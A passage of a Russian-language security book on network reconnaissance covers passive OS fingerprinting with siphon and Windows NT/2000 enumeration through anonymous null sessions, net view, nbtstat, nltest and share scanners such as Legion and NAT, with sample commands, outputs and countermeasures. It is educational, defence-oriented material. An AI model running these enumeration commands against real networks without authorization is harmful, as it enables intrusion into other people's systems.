      Хотя на момент написания данной книги утилита nmap, по-видимому, позволяет наиболее точно выполнить исследование стека TCP/IP, она, тем не менее, является далеко не первой программой, в которой реализована соответствующая технология. До того как Федор встроил в утилиту nmap средства определения операционной системы, для этих же целей уже была создана утилита queso (http://www.apostols.org/projectz/). Необходимо отметить, что утилита queso не позволяет выполнять сканирование портов и может определять тип операционной системы только при наличии в исследуемой системе открытого порта (по умолчанию используется порт 80). Если порт 80 закрыт, необходимо задать другой открытый порт, как показано в следующем примере, в котором с помощью утилиты queso осуществляется попытка определить тип операционной системы через порт 25. 

      [tsunami] queso 10.10.10.20:25
      10.10.10.20:25 * Windoze 95/98/NT

      Контрмеры: защита от определения операционной системы


      Обнаружение попыток определения операционной системы



      Многие из упоминавшихся выше средств выявления сканирования с успехом могут служить и для обнаружения попыток определения типа операционной системы, Хотя они не проинформируют вас о том, что выполнялось специальное сканирование с помощью утилиты nmap или queso, с их помощью все же удастся распознать сам факт такого особого сканирования, например с установкой флага SYN.

      Предупреждение попыток определения операционной системы



      Хотелось бы посоветовать какое-нибудь средство, позволяющее противодействовать попыткам определения операционной системы, однако, к сожалению, вынуждены констатировать, что решить эту проблему весьма непросто. Конечно, можно изменить исходный код операционной системы (естественно, если он имеется в вашем распоряжении) или поменять ее параметры, влияющие на характеристики стека, однако такое вмешательство может значительно изменить функциональность ОС. Например, в системе FreeBSD 4.x имеется параметр ядра TCP_DROP_SYNFIN, который можно применить для игнорирования пакетов SYN+FIN, используемых утилитой nmap в целях исследования стека. Установка этого параметра поможет пресечь попытки определения типа операционной системы, однако в то же время нарушит поддержку RFC 1644 (TCP Extensions for Transactions).
      Вместо этого мы предлагаем создавать такие сети, в которых сканированию могли бы подвергнуться лишь надежные и хорошо защищенные proxy-серверы и брандмауэры, а не компьютеры внутренней сети. В этом случае, даже если взломщику и удастся разведать тип операционной системы того или иного узла, проникновение через устройства защиты будет значительно затруднено.

      Пассивное определение операционной системы



      Из предыдущих разделов видно, насколько эффективными оказываются средства активного исследования стека, такие как утилиты nmap и queso. Важно не забывать о том, что рассмотренные выше приемы являются активными по своей природе. При этом для определения специфических особенностей сетевого стека и используемой операционной системы каждому узлу нужно передавать тестовые пакеты. Поскольку все активные методы предполагают передачу пакетов, системам выявления вторжений относительно просто выявить все предпринимаемые попытки идентификации операционной системы. Другими словами, активное исследование является далеко не самым скрытым методом, к которому может прибегнуть взломщик.


      8. Пассивное исследование стека



      Пассивное исследование стека


      Основные принципы пассивного исследования стека аналогичны концепциям, лежащим в основе его активного исследования. Однако в данном случае вместо передачи пакетов для определения используемой операционной системы взломщик осуществляет мониторинг сетевого трафика. Таким образом, наблюдая за сетевым трафиком между различными компьютерами, можно определить тип и версию удаленной операционной системы. Большие исследования в этой области были проведены Ланцом Спитзнером (Lance Spitzner). На их основе была написана книга, которую можно найти по адресу http://www.enteract.com/~lspitz/finger.html. Кроме ТОГО, по адресу http://www.subterrain.net/projects/siphon можно также найти утилиту siphon, предназначенную для пассивного исследования портов и идентификации операционной системы. Теперь познакомимся с тем, как же выполняется пассивное исследование стека.

      Параметры, используемые для пассивного исследования стека



      Для определения типа и версии операционной системы можно использовать самые разнообразные признаки. Однако сейчас мы ограничимся рассмотрением лишь нескольких атрибутов, связанных с сеансом сетевого взаимодействия с помощью протокола TCP/IP.

      •  атрибутов TTL (Time-to-Live — время жизни). Устанавливает ли операционная система значение TTL для исходящих пакетов?
      •  Windows Size (размер окна). Какой размер окна используется?
      •  DF (Don't Fragment — бит фрагментации). Устанавливается ли операционной системой признак DF?
      •  TOS (Type-of-Service — тип службы). Устанавливается ли операционной системой значение TOS. Если да, то какое?

      Проанализировав каждый из атрибутов и сравнив полученные результаты со значениями из имеющейся базы данных, можно определить удаленную операционную систему. Поскольку этот метод не гарантирует получения правильного ответа на основе каждого из атрибутов в отдельности, для получения более надежных результатов атрибуты можно комбинировать. Именно такой подход и используется утилитой siphon.
      Вот как работает описанный метод. Если с помощью утилиты telnet установить удаленное соединение между узлами 192 .168 .1.10 и 192 .168 .1.11 , то с использованием утилиты siphon можно определить тип удаленной операционной системы.
      [shadow]# telnet 192.168.1.11
      С помощью нашей любимой утилиты snort можно частично просмотреть пакеты, передаваемые в процессе сетевого взаимодействия.

      06/04-11:23:48.297976 192.168.1.11:23 -> 192.168.1.10:2295
      TCP TTL:255 TOS:OxO 10:58934 DF
      **S***A* Seq: OxD3B709A4 Ack: OxBE09B2B7 Win: 0x2798
      TCP Options => NOP NOP TS: 9688775 9682347 NOP WS: 0 MSS: 1460

      При этом видно, что упоминавшиеся выше атрибуты принимают следующие значения:

      •  TTL= 255
      •  Размер окна = 2798
      •  Бит DF = Yes A TOS = 0

      Теперь обратимся к базе данных утилиты siphon — файлу osprints.conf: 

      [shadow]f grep -i Solaris osprints.conf
      # Window:TTL:DF:Operating System DF = 1 for ON, 0 for OFF.
      2328:255:l:Solaris 2.6 - 2.7
      2238:255:l:Solaris 2.6 - 2.7
      2400:255:l:Solaris 2.6 - 2.7
      2798:255:l:Solaris 2.6 - 2.7
      FE88:255:l:Solaris 2.6 - 2.7
      87CO:255:l:Solaris 2.6 - 2.7
      FAFO:255:0:Solaris 2.6 - 2.7
      FFFF:255:1:Solaris 2.6-2.7

      Из приведенного фрагмента видно, что в четвертой записи содержатся те же значения, которые были получены с использованием утилиты snort. Таким образом, с помощью утилиты siphon можно точно определить исследуемую операционную систему. 

      [crush]# siphon -v -i xl0 -о fingerprint.out
      Running on: 'crush' running FreeBSD 4.0-RELEASE on a(n) i386
      Using Device: xlO
      Host Port . TTL DF Operating System 192.168.1.11 23 255 ON Solaris 2.6 - 2.7

      Итак, в качестве удаленной была определена система Solaris 2.6. И это .не вызвало особых проблем.
      Пассивное исследование стека взломщик может использовать для выбора потенциальных жертв. Для этого достаточно понаблюдать за соответствующим Web-узлом и проанализировать сетевой трафик либо воспользоваться утилитой siphon. Несмотря на то что описанный метод является достаточно эффективным, он все же имеет некоторые ограничения. Во-первых, в приложениях, генерирующих свои собственные пакеты (например, шпар), не применяются те же признаки, что и самой операционной системой. Поэтому полученные результаты могут оказаться неточными. Во-вторых, на удаленном узле можно без проблем изменить атрибуты соединения. 

      Solaris: ndd -set /dev/ip ip_def_ttl 'число'
      Linux: echo 'число' > /proc/sys/net/ipv4/ip_default_ttl
      NT:
      HKEY_LOCAL_MACHINE\System\CurrentControlSet\
      Services\Tcpip\Parameters

      Контрмеры: защита от пассивного определения операционной системы



      Для защиты от пассивного определения операционной системы можно использовать приемы, описанные в разделе "Контрмеры: Защита От Определения Операционной Системы".


      9. Средства автоматического сбора информации



      Средства автоматического сбора информации


      Помимо описанных в данной главе, существует огромное количество других средств, и каждый день этот список увеличивается. Поскольку в рамках одной книги описать все эти средства невозможно, вкратце остановимся лишь на двух из них.
      Утилита cheops (произносится "ки-опс", http://www.marko.net/cheops/), изображенная на рис. 2.8, представляет собой программу с графическим интерфейсом, предназначенную для полномасштабного исследования сети. При этом в одном пакете объединены утилиты ping, traceroute, средства сканирования портов, а также определения типа операционной системы (с помощью queso). Кроме этого, cheops позволяет получить графическое схематическое изображение исследуемой сети и связанных с ней сетей, что значительно облегчает понимание ее архитектуры.



      Рис. 2.8. Пакет cheops с графическим интерфейсом объединяет многие популярные утилиты исследования сетей

      Вторая утилита, на которой мы остановимся, называется tkined и входит в состав пакета Scotty (http://wwwhome.cs.utwente.nl/~schoenw/scotty/). По существу, эта утилита является редактором сетевого редактирования, написанным на языке Tel, который, объединяет различные средства управления сетью, обеспечивающие сбор всевозможной информации об архитектуре и работе сети. Утилита tkined обладает большой гибкостью и позволяет проводить исследование сети с представлением результатов в графической форме. Хотя с ее помощью нельзя определить тип операционной системы, она обеспечивает выполнение большинства операций, описанных как в данной главе, так и главе 1. Кроме утилиты tkined, в состав пакета Scotty входит немало других интересных средств, заслуживающих самого пристального внимания.

      Контрмеры: защита от средств автоматического сбора информации



      Поскольку в автоматизированных средствах, подобных Scotty, tkined и cheops, объединены приемы, о которых рассказывалось выше в данной главе, для защиты от них можно применять контрмеры, аналогичные тем, которые применяются для соответствующих средств сбора информации, сканирования и т.д.


      9.gif

      Изображение: 

      10. Резюме



      Резюме


      В данной главе мы рассмотрели средства и методы, предназначенные для осуществления ping-прослушивания (как с помощью протокола ICMP, так и с помощью TCP), сканирования портов и определения типа операционной системы. С помощью средств ping-прослушивания можно идентифицировать узлы сети, подключенные к Internet, что позволяет сузить область поиска потенциальных целей. Затем с помощью бесчисленного множества различных методов и средств TCP- и UDP-сканирования можно установить службы, которые запущены на этих узлах и находятся в состоянии ожидания запросов, а также сделать предположения о степени уязвимости исследуемых систем. И наконец, мы рассмотрели, как взломщик может использовать программное обеспечение, предназначенное для определения типа и номера версии операционной системы, под управлением которой работает исследуемый узел. В следующей главе вы увидите, что собранная до сих пор информация очень важна для того, чтобы осуществить сфокусированную атаку.


      Глава 3. Инвентаризация



      Глава 3. ИНВЕНТАРИЗАЦИЯ




        1. Инвентаризация



        Инвентаризация


        Собрав полное "досье" на исследуемую сеть и "прощупав" систему ее защиты, хакер, скорее всего, на этом не остановится. Следующим шагом на пути к проникновению в систему будет получение информации о пользовательских учетных записях или плохо защищенных совместно используемых ресурсах. Для сбора такой информации существует много различных способов, которым дали общее название — инвентаризация (enumeration). В данной главе подробно рассматриваются основные методы, используемые в процессе инвентаризации.
        Ключевое различие между ранее описанными методами сбора информации и методами инвентаризации состоит в уровне вмешательства в работу исследуемой сети. Процесс инвентаризации предполагает установку активного соединения с исследуемой системой и генерацию направленных запросов. Такая деятельность может (и должна!) регистрироваться исследуемой системой, поэтому мы покажем, на какие события необходимо обращать внимание, а также как по возможности блокировать попытки проведения инвентаризации вашей сети.
        На первый взгляд большая часть информации, которую можно получить при инвентаризации, довольно безобидна. Однако сам факт утечки информации сквозь незакрытую брешь в системе защиты говорит о недостаточном внимании к безопасности со стороны администратора сети, что мы неоднократно проиллюстрируем на протяжении данной главы. Как правило, после получения реального имени пользователя или обнаружения совместно используемого ресурса подбор пароля или выявление изъянов в реализации протокола совместного использования ресурсов — только вопрос времени. Заблокировав все эти "дыры" в системе защиты (тем более, что сделать это несложно), вы сможете значительно снизить вероятность успеха попыток хакера.
        Информация, которую взломщики могут получить при инвентаризации, можно разделить на следующие категории.

        •  Сетевые ресурсы, в том числе открытые для совместного доступа.
        •  Пользователи и группы пользователей.
        •  Приложения и идентификационные маркеры (banner).

        Методика инвентаризации в значительной степени зависит от операционной системы (именно поэтому так важна информация, полученная на этапе сканирования портов и установления типа и версии операционной системы, о чем шла речь в главе 2). Зная, какая информация может заинтересовать хакера и насколько хорошо ваша система ее скрывает, вы можете предпринять ответные меры, которые позволят защитить самые уязвимые участки.
        Данная глава состоит из трех разделов, каждый из которых посвящен конкретной операционной системе — Windows NT/2000, Novell NetWare и UNIX. Мы не уделяем особого внимания системе Win 9x, поскольку рассматриваемые здесь приемы определения учетных записей и открытых совместно используемых ресурсов не имеют непосредственного отношения к ее однопользовательской архитектуре. Однако следует заметить, что все методы, пригодные для инвентаризации Windows NT/2000, прекрасно работают и в случае Win Эх. В каждом разделе приводятся сведения о методах, применяемых для получения перечисленных выше сведений, а также о том, как их выявлять и по возможности защищаться.


        2. Инвентаризация Windows NT/2000



        Инвентаризация Windows NT/2000


        За все время своего существования Windows NT заслужила репутацию системы, которая предоставляет общедоступную информацию по любому удаленному запросу. В основном это осуществляется через протоколы передачи данных CIFS/SMB (Common Internet File System/Server Message Block), от которых в значительной степени зависит работа сетевых служб. Хотя в Win 2000 имеется возможность автономного использования протокола TCP/IP без протокола NetBIOS, она получила в наследство все недостатки своей предшественницы. Система Win 2000 содержит также несколько новых возможностей, которые могут заинтересовать случайного сборщика информации. В данной главе будут обсуждаться и старые, и новые особенности, а также рекомендуемые действия, с помощью которых можно защитить ценную информацию еще до того момента, когда кто-либо соберет достаточное количество информации для крупномасштабной атаки.

        Windows NT/2000 Hacking Kit



        Начиная с версии Windows NT 3.1 компания Microsoft предлагает за отдельную плату дополнительный комплект документации и компакт-диск, на котором собрано множество утилит для администрирования сетей на базе Windows NT — Windows NT Resource Kit (как в варианте Workstation, так и в варианте Server). В комплект NTRK (так мы будем называть его далее в этой книге) входит обширная подборка различных утилит, начиная от частично реализованного интерпретатора популярного языка сценариев Perl, позволяющего перенести на платформу NT многие популярные утилиты UNIX, и заканчивая утилитами удаленного администрирования, не входящими в стандартный комплект поставки Windows NT. Без данного комплекта не может обойтись ни один серьезный администратор NT.
        Однако, помимо удобства в использовании, функциональность NTRK имеет и обратную сторону. Многие из этих инструментов могут служить взломщикам для получения важной информации, благодаря чему в определенных кругах комплект получил название Windows NT Hacking Kit (набор инструментов хакера). Поскольку розничная цена пакета NTRK составляет около $200, включая два обновленных дополнения, можно предположить, что любой взломщик, для которого данная сумма является достаточно приемлемой, может воспользоваться входящими в его состав инструментами для проникновения в вашу сеть (особенно если учесть, что некоторые из них распространяются свободно через FTP-узел компании Microsoft по адресу ftp://ftp. microsoft.com/bussys/winnt/winnt-public/reskit/).
        Версия комплекта для Win 2000 (W2RK) продолжает ранее начатую традицию и содержит многочисленные инструменты, которые можно использовать двояким образом. Кроме того, на компакт-диске для операционной системы Win 2000 Server в папке SupportXTools содержится множество утилит, которые могут оказаться полезными для хакера. В данной главе будут рассмотрены те средства и утилиты, которые в значительной мере способны облегчить решение задачи инвентаризации. Другие же средства мы рассмотрим в главах 5 и 6.

        Интерпретатор языка Perl, имеющийся в комплекте NTRK, предоставляет не такие широкие возможности, как комплект для Windows от компании ActiveState, который можно найти по адресу http://www.activestate.com. В комплект W2RK компанией Microsoft включена версия ActivePerl Build 521 компании ActiveState. Если вы планируете использовать язык Perl в Windows, мы советуем обратиться именно к этой реализации, поскольку многие из рассматриваемых в книге утилит, реализованных на этом языке, в случае применения интерпретатора Perl из набора NTRK работают некорректно.Хотя сознательным администраторам NT/2000 мы настоятельно рекомендуем приобретать все комплекты NTRK и отслеживать все новшества, не устанавливайте их на действующих серверах. В противном случае вы обратите оружие против себя! Для обеспечения требуемой функциональности устанавливайте лишь наиболее важные утилиты. Для хранения поместите на съемный или сетевой диск все утилиты NTRK и используйте их лишь при необходимости.

        Нулевые соединения: "Священный Грааль" инвентаризации



        Как уже упоминалось, системы Windows NT/2000 имеют ахиллесову пяту при использовании протоколов CIFS/SMB и NetBIOS в режиме, используемом по умолчанию. В состав стандартов CIFS/SMB и NetBIOS входят программные интерфейсы, возвращающие различную информацию о компьютере через порт TCP с номером 139. Такие данные смогут получить даже те пользователи, которые не были аутентифицированы. Первым шагом на пути получения удаленного доступа к этим интерфейсам является создание простого, без аутентификации, соединения с системой NT/2000 с помощью так называемого нулевого сеанса (null session). Предполагается, что в результате ранее выполненного сканирования портов было установлено, что TCP-порт 139 находится в состоянии ожидания запросов. Такое соединение можно установить с помощью следующей команды.
        net use \\192.168.202.33\IPC$ "" /u:""
        При выполнении такой команды осуществляется подключение к скрытому каналу связи между процессами (share) IPC$ no IP-адресу 192.168.202.33 в качестве анонимного пользователя (/и:"") с пустым паролем (""). Если такая попытка окажется успешной, взломщик получает открытый канал, через который он может попытаться применить различные методы, описанные в данной главе, чтобы получить как можно больше информации о сети, совместно используемых ресурсах, пользователях, группах, ключах системного реестра и т.д.
        Практически все методы сбора информации, описанные в данной главе, используют недостаток системы безопасности Windows NT, состоящий в предоставлении возможности анонимного подключения и инвентаризации определенных ресурсов без требования каких-либо паролей. Этот недостаток, который в различных источниках называется по-разному, — "красная кнопка" (Red Button), нулевой сеанс или анонимное подключение (anonymous logon) — является единственной существенной возможностью, с помощью которой потенциальные взломщики могут получить всю нужную им информацию.

        Нулевой сеанс: контрмеры



        При установке нулевого соединения требуется доступ к TCP-порту 139, так что наиболее правильный путь предотвращения такой опасности состоит в фильтрации запросов по протоколу NetBIOS к портам TCP и UDP с номерами от 135 до 139 по всему периметру сетевых устройств управления доступом. Необходимо также запретить использование протокола NetBIOS поверх TCP/IP и на отдельных узлах, отсоединив клиент WINS (TCP/IP) от соответствующего интерфейса с помощью аплета Network панели управления. В системе Windows 2000 для этого нужно запустить аплет соответствующего сетевого подключения, открыть диалоговое окно Advanced TCP/IP Settings, перейти во вкладку WINS и отключить режим Disable NetBIOS Over TCP/IP.

        В системе Win 2000 используется еще порт 8MB с номером 445, который позволяет получить аналогичную информацию. Более подробные сведения и описание методов защиты содержатся в главе 6.

        Начиная с третьего сервисного пакета системы NT компания Microsoft предложила механизм, позволяющий предотвратить опасность извлечения важной информации с помощью нулевых соединений без отключения режима использования протокола NetBIOS поверх TCP/IP (хотя мы по-прежнему рекомендуем сделать это, если в службах NetBIOS нет необходимости). Этот механизм был назван RestrictAnonymous — по названию соответствующего параметра системного реестра. Для его использования выполните следующие действия.
        1. Запустите regedt32 и перейдите в каталог HKEY_LOCAL_MACHlNE\SYSTEM\Current ControlSet\Control\LSA.
        2. Выберите команду Edit>Add Value и введите следующие данные. Имя параметра: RestrictAnonymous Тип данных: REG_DWORD Значение: 1 (или 2 для Win 2000)
        3. Закройте редактор системного реестра и перезапустите компьютер, чтобы внесенные изменения вступили в силу.
        В системе Windows 2000 реализовать подобную защиту несколько проще, поскольку в консоли управления имеется модуль Security Settings с элементом \Local Policies\Security Options. С помощью графического интерфейса консоли управления можно выполнить настройку многих параметров системного реестра, связанных с обеспечением защиты. В системе NT4 все подобные изменения необходимо выполнять вручную. Что еще лучше, параметры, подобные RestrictAnonymous, можно применить к организационной единице (Organizational Unit - OU), узлу или на уровне домена. Если все изменения производились на контроллере домена Win 2000, то эти параметры будут унаследованы всеми дочерними объектами активного каталога. При этом потребуется воспользоваться модулем Group Policy, который более подробно будет рассматриваться в главе 6.
        Для того чтобы ограничить доступ к данным NetBIOS неавторизованных пользователей с помощью элементов Group Policy/Security Options, установите режим No access without explicit anonymous permissions для параметра Additional restrictions for anonymous connections. (Это аналогично заданию значения 2 для параметра RestrictAnonymous системного реестра Win 2000.)
        Примечательно, что установка этого параметра на самом деле не блокирует самого анонимного соединения. Единственное, что она делает, — предотвращает утечку информации через такое соединение главным образом данных об учетных записях и совместно используемых ресурсах. В Windows 2000 параметр RestrictAnonymous имеет значение 2. Оно позволяет ограничить доступ к ресурсам лишь посредством нулевых сеансов с явно заданными разрешениями (см. рис. выше).


        Одним из самых примечательных исключений из этого правила является утилита sid2user (описываемая в разделе "Инвентаризация Пользователей И Групп NT/2000"), которая продолжает функционировать даже при включенном режиме RestrictAnonymous.

        Более подробную информацию можно найти в статье Q143474 системы Knowledge Base компании Microsoft по адресу http://search.support.microsoft.com. Для получения более подробного технического описания можно обратиться к статье о хакинге служб NetBIOS CIFS: Common insecurities Fail Scrutiny Хобита, которую можно найти по адресу http://www.avian.org или в документах RFC 1001 и 1002, где содержится спецификация передачи данных по протоколам NetBIOS и TCP/UDP.
        Мы вкратце обосновали важность информации, которую можно получить с помощью нулевых соединений. В подавляющем большинстве случае такие данные нельзя оставлять незащищенными, особенно если сервер подключен к Internet. Мы настоятельно рекомендуем установить параметр RestrictAnonymous.
        После постановки задачи в целом самое время перейти к изучению средств и приемов, которые при этом могут использоваться.


        1.gif

        Изображение: 

        3. Инвентаризация сетевых ресурсов NT/2000



        Инвентаризация сетевых ресурсов NT/2000


        Первое, что может попробовать осуществить удаленный взломщик после скрупулезного изучения сети, — это получить представление об имеющихся в ней ресурсах. Сначала мы рассмотрим инвентаризацию ресурсов NetBIOS, а затем перейдем к инвентаризации служб TCP/IP, которые в большинстве случаев функционируют в системах NT/2000.

        Инвентаризация NetBIOS



        Средства и приемы, которые можно применять к изучению ресурсов сети с протоколом NetBIOS, можно найти без труда — большинство из них встроено в саму операционную систему! Именно с них мы и начнем. Затем вы познакомитесь с некоторыми утилитами сторонних производителей. Возможные контрмеры лучше рассматривать в самом конце обсуждения, поскольку одновременно решить все проблемы гораздо проще.

        Инвентаризация доменов NT/2000 с помощью команды net view



        В качестве одного из самых ярких примеров встроенных инструментов можно привести команду net view. Это чрезвычайно простая утилита командной строки систем NT/2000, которая позволяет просмотреть все домены сети, а также практически все компьютеры доменов. Вот как выполнить инвентаризацию доменов в сети с использованием команды net view:

        C:\>net view /domain
        Domain
        ---------------------------------------------
        CORLEONE BARZINI_DOMAIN TATAGGLIA_DOMAIN BRAZZI
        The command completed successfully.

        С помощью следующей команды будут перечислены все компьютеры определенного домена.

        C:\>net view /domain:corleone
        Server Name Remark
        \\VITO ' Make him an offer he can't refuse
        \\MICHAEL Nothing personal
        \\SONNY Badda bing badda boom
        \\FREDO I'm smart
        \\CONNIE Don't forget the cannoli

        He забывайте о том, что можно использовать информацию, полученную с помощью ping-прослушивания (глава 2), и подставить IP-адреса вместо имен NetBIOS отдельных компьютеров. Обычно IP-адреса и имена NetBIOS взаимозаменяемы (например, \\192.168.202.5 эквивалентно \\SERVER_NAME). Для удобства взломщики зачастую добавляют соответствующие записи с ключевым словом #PRE В свой файл %systemroot%\system32\drivers\etc\LMHOSTS, а затем запускают в командной строке команду nbtstat -R, чтобы перезагрузить буфер таблицы имен. С этого момента при атаке можно без проблем использовать имя NetBIOS, которое автоматически будет преобразовываться в соответствующий IP-адрес, заданный в файле LMHOSTS.

        Получение дампа таблицы имен NetBIOS с помощью команд nbtstat и nbtscan



        Другой мощной встроенной утилитой является nbtstat, которая позволяет получить таблицу имен NetBIOS удаленной системы. Как видно из следующего примера, в этой таблице содержится важная информация.

        C:\>nbtstat -A 192.168.202.33
        NetBIOS Remote Machine Name Table
        Name Type Status
        SERVR9 <00> UNIQUE Registered
        SERVR9 <20> UNIQUE Registered
        9DOMAN <00> GROUP Registered
        9DOMAN <1E> GROUP Registered
        SERVR9 <03> UNIQUE Registered
        INet-Services <1C> GROUP Registered
        IS-SERVR9......<00> UNIQUE Registered
        9DOMAN <1D> UNIQUE Registered
        .._MSBROWSE_.<01> GROUP Registered
        ADMINISTRATOR <03> UNIQUE Registered
        MAC Address = 00-AO-CC-57-8C-8A

        Фрагмент листинга указывает, что с помощью команды nbtstat было получено имя компьютера (SERVR9), домен, в котором он расположен (9DOMAIN), имена зарегистрированных пользователей (ADMINISTRATOR), все запущенные службы (inet-Services) и МАС-адрес. Всю эту информацию можно узнать по кодам службы NetBIOS (числа из двух цифр, расположенные справа от имени), частично представленным в табл. 3.1.

        Таблица 3. 1. Стандартные коды служб NetBIOS

        Код NetBIOS
        Ресурс
        <имя компьютера>[00]
        Служба рабочей станции
        <имя домена>[00]
        Имя домена
        <имя компьютера>[03]
        Служба рассылки (для сообщений, переданных на данный компьютер)
        <имя пользователя>[03]
        Служба рассылки (для сообщений, переданных данному пользователю)
        <имя компьютера>[20]
        Служба сервера
        <имя домена>[10]
        Главный броузер (master browser)
        <имя домена>[1Е]
        Служба просмотра (browser service elections)
        <имя домена>[1В]
        Главный броузер домена (domain master browser)

        Двумя основными недостатками команды nbtstat являются возможность ее применения к одному узлу одновременно и несколько непонятные выходные данные. Обоих этих недостатков лишена свободно распространяемая утилита nbtscan Аллы Безручко (Alia Bezroutchko), которую можно найти по адресу http://www.abb.aha. ru/software/nbtscan.html. Эта утилита позволяет быстро выполнить те же действия, что и команда nbtstat, над всей сетью и при этом предоставляет прекрасно отформатированные результаты.

        D:\Toolbox\nbtscanl02>
        nbtscan 192.168.234.0/24
        Doing NBT name scan for adresses from
        192.168.234.0/24
        IP address NetBIOS Name Server User MAC address
        192.168.234.36 WORKSTN12 <server> RSMITH 00-00-86-16-47-d6
        192.168.234.110 CORP-DC <server> CORP-DC 00-cO-4f-86-80-05
        192.168.234.112 WORKSTN15 <server> ADMIN 00-80-c7-0f-a5-6d
        192.168.234.200 SERVR9 <server> ADMIN 00-aO-cc-57-8c-8a

        Утилита nbtscan позволяет быстро получить данные об узлах сети, на которых используется система Windows. Попробуйте запустить ее для сети класса С из Internet, и вы поймете, что именно мы хотели сказать.

        Инвентаризация контроллеров доменов



        Для того чтобы проникнуть в структуру сети Windows NT немного глубже, понадобится инструмент, входящий в комплект NTRK. В следующем примере мы увидим, как с помощью средства NTRK nltest можно узнать, какие контроллеры доменов являются первичными (РОС — Primary Domain Controller), а какие — вторичными (ВDC — Backup Domain Controller).

        C:\> nltest /dclist:corleone
        List of DCs in Domain corleone
        \\VITO (PDC)
        \\MICHAEL
        \\SONNY
        The command completed successfully

        Для дальнейшего продвижения вперед нам необходимо воспользоваться нулевым соединением. (Помните о нем? Если нет, то вернитесь к началу данной главы.) Достаточно установить нулевой сеанс с одним из узлов представляющего интерес домена, чтобы затем с помощью команды вида nltest /server :<имя_сервера>, а также параметра /trusted_ domains узнать всю информацию о доменах NT, в которые входит данный компьютер.

        Инвентаризация совместно используемых ресурсов NetBIOS с помощью команды net view и утилит NTRK



        Установив нулевой сеанс, можно снова взяться за старую добрую команду net view и провести инвентаризацию ресурсов удаленной системы, предоставленных для совместного доступа:

        C:\>net view \\vito
        Shared resources at \\192.168.7.45
        VITO
        Share name Type Used as Comment
        NETLOGON Disk Logon server share
        Test Disk Public access
        The command completed successfully.

        В состав комплекта NTRK входят три утилиты, которые могут оказаться полезными для инвентаризации совместно используемых ресурсов, — rmtshare, srvcheck и srvinfo (с параметром -s). Утилита rmtshare выводит результат примерно в том же виде, что и команда net view. Утилита srvcheck отображает сведения о совместно используемых ресурсах и авторизованных пользователях, включая скрытые ресурсы. Однако для этого необходимо получить доступ к удаленной системе в качестве привилегированного пользователя. Наконец, утилита srvinfo с параметром -s позволяет просмотреть перечень совместно используемых ресурсов, а также получить об исследуемой системе множество другой полезной информации.

        Инвентаризация совместно используемых ресурсов NetBIOS с помощью утилиты DumpSec (ранее DumpACL)



        Одним из лучших инструментов для инвентаризации совместно используемых ресурсов NT (причем этим возможности .не ограничиваются), является пакет DumpSec (ранее DumpACL), основное диалоговое окно которого показано на рис. 3.1. Он распространяется бесплатно компанией Somarsoft (http://www.somarsoft.com). Вряд ли можно найти другой инструмент, который заслуживал бы такого же внимания администратора NT. Программа DumpSec выполняет чрезвычайно широкий аудит, начиная от разрешений на использование файловой системы удаленного узла и заканчивая перечнем запущенных на ней служб. На рис. 3.1 показан пример работы программы DumpSec для получения информации о совместно используемых ресурсах удаленной системы. Основная информация о пользователях может быть получена даже через нулевое соединение. Кроме того, эту программу можно запускать из командной строки, что позволяет без особых проблем применять ее при автоматизации процесса сбора и обработки информации, а также при написании сценариев.



        Рис. 3.1. Путем установки нулевого соединения с исследуемым компьютером программа DumpSec предоставляет перечень совместно используемых ресурсов

        Поиск совместно используемых ресурсов с помощью утилит Legion и NAT



        Открытие нулевого сеанса и использование описанных выше инструментов в ручном режиме прекрасно подходят для прямого вторжения, однако большинство хакеров предпочитают использовать сканер NetBIOS, чтобы быстро проверить целую сеть на предмет наличия незащищенных ресурсов. Одной из наиболее популярных утилит является Legion (ее можно найти во многих архивах Internet), диалоговое окно которой показано на следующем рисунке.


        Утилита Legion может обследовать сеть класса С и представить в своем окне перечень всех обнаруженных совместно используемых ресурсов. Ее версия 2.1 поддерживает режим подбора пароля "в лоб", при использовании которого утилита пытается подключиться к определенному ресурсу с помощью предоставленного пользователем списка паролей. Более подробная информация о подборе паролей Windows 9x и Windows NT приведена в главах 4 и 5 соответственно.



        Рис. 3.2. Две версии утилиты NAT— с графическим интерфейсом и для использования в командной строке

        Еще одним популярным сканером совместно используемых ресурсов Windows является утилита NetBIOS Auditing Tool (NAT), работа которой основывается на коде, написанном Эндрю Тридгеллем (Andrew Tridgell). Эту утилиту можно найти на Web-узле книги по адресу http://www.hacking exposed.com. Участники ныне уже не существующей группы Rhino9 Security Team Неон Сурж (Neon Surge) и Хамелеон (Chameleon) написали графический интерфейс для утилиты NAT (рис. 3.2). Утилита NAT не только находит совместно используемые ресурсы, но и пытается подключится к ним с помощью списков пользовательских имен и паролей.

        Другие средства инвентаризации сети NT/2000



        Необходимо упомянуть еще несколько программ, предназначенных для инвентаризации ресурсов NT: epdump компании Microsoft (ее можно найти по адресу http: //www.ntshop.net/security/tools/def.htm), getmac и netdom (из комплекта NTRK), а также утилиту netviewx Джеспера Лорицена (Jesper Lauritsen) http://www.ibt.ku.dk/jesper/NTtools). Утилита epdump посредством обращения :< интерфейсу RPC отображает перечень служб, связанных с IP-адресами и номерами портов (при этом результаты отображаются далеко не лучшим образом). Утилита getmac, используя нулевой сеанс, отображает МАС-адреса и имена устройств, присвоенных сетевым адаптерам удаленных узлов. Эта информация имеет особый интерес только для хакера, который ищет систему с несколькими сетевыми адаптерами. Утилита netdom более полезна, поскольку она выдает информацию обо всех связанных доменах, включая сведения о принадлежности к домену и его резервных контроллерах. Утилита netviewx также является мощным инструментом, позволяющим получить информацию об узлах домена и запущенных на них службах. Мы часто используем netviewx для проверки наличия службы удаленного доступа NT (RAS— Remote Access Service), чтобы получить представление о количестве серверов в сети, обеспечивающих удаленный доступ. Для этого можно воспользоваться представленной ниже командой. С помощью параметра -T задается имя исследуемого домена, а параметр -т позволяет задать тип компьютера или службы.

        C:\>netviewx -D CORLEONE -Т dialin_server
        VITO,4,0,500,nt%workstation%server%
        domain_ctrl%time_source%dialin_server%
        backup_browser%master_browser,"
        Make him an offer he can't refuse "

        Имена служб, запущенных на этом сервере, представлены между символами %. Кроме того, утилита netviewx является хорошим средством для поиска компьютера, который не является контроллером домена. Это не лишено смысла, поскольку вероятность того, что такой компьютер не будет иметь надежной защиты гораздо выше, чем у контроллера домена.
        Утилита Winfo Арни Видстрома (Arne Vidstrom), которую можно найти по адресу http://www.ntsecurity.nu, позволяет извлечь с удаленного компьютера информацию об учетных записях пользователей, совместно используемых ресурсах, а также данные об установленных доверительных отношениях. Эта утилита позволяет даже автоматически открыть нулевой сеанс, если при ее запуске указан параметр -n.
